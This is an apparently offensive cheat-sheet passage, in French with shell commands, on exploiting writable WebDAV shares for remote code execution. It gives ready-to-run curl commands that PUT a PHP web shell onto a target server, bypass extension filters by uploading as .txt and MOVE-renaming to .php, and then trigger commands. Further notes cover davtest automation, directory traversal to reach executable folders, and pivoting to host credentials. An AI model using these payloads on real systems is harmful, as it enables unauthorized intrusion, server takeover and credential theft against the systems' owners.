L'attaque WebDAV la plus tranchante est PUT : il écrit un fichier sur le serveur sans aucune logique applicative intermédiaire, donc si le répertoire cible est interprété par le serveur web, le fichier téléversé s'exécute à la requête. Le seul obstacle est le filtrage d'extension, et WebDAV offre un contournement classique : faire un PUT d'un fichier avec une extension autorisée, puis le MOVE vers le nom exécutable, car le filtre vérifie le chemin du PUT mais pas la destination du MOVE. Le résultat est un web shell fiable à partir d'un partage WebDAV accessible en écriture.
# direct PUT where the dir executes the extension
curl -s -X PUT http://<target>/dav/shell.php --data '<?php system($_GET["c"]); ?>'
curl -s 'http://<target>/dav/shell.php?c=id' # trigger
# extension-filter bypass: PUT allowed type, then MOVE to executable name
curl -s -X PUT http://<target>/dav/shell.txt --data '<?php system($_GET["c"]); ?>'
curl -s -X MOVE http://<target>/dav/shell.txt -H 'Destination: http://<target>/dav/shell.php'
curl -s 'http://<target>/dav/shell.php?c=id'
# IIS/ASP.NET: upload .aspx or use semicolon/trailing tricks where filters apply
# davtest automates discovery of which extensions execute
davtest -url http://<target>/dav/ -move
Notes d'exploitation#
- Le renommage PUT-puis-MOVE est le contournement fiable : le filtre d'extension valide couramment uniquement le chemin de la requête PUT, donc le MOVE vers l'extension exécutable fait passer le payload au-delà ;
davtest -moveconfirme que ça fonctionne. - Choisissez l'extension du payload selon ce que le serveur exécute (déterminé lors de la découverte) :
.php,.jsp/.jspx,.aspx/.aspselon la plateforme. - Là où le répertoire WebDAV n'est pas lui-même exécutable, combinez avec la traversée de répertoire (cible du PUT ou Destination du MOVE) pour placer le fichier dans un répertoire qui l'est.
- Le web shell s'exécute avec le privilège du serveur web ; utilisez-le pour pivoter vers l'hôte et les identifiants comme avec tout RCE web.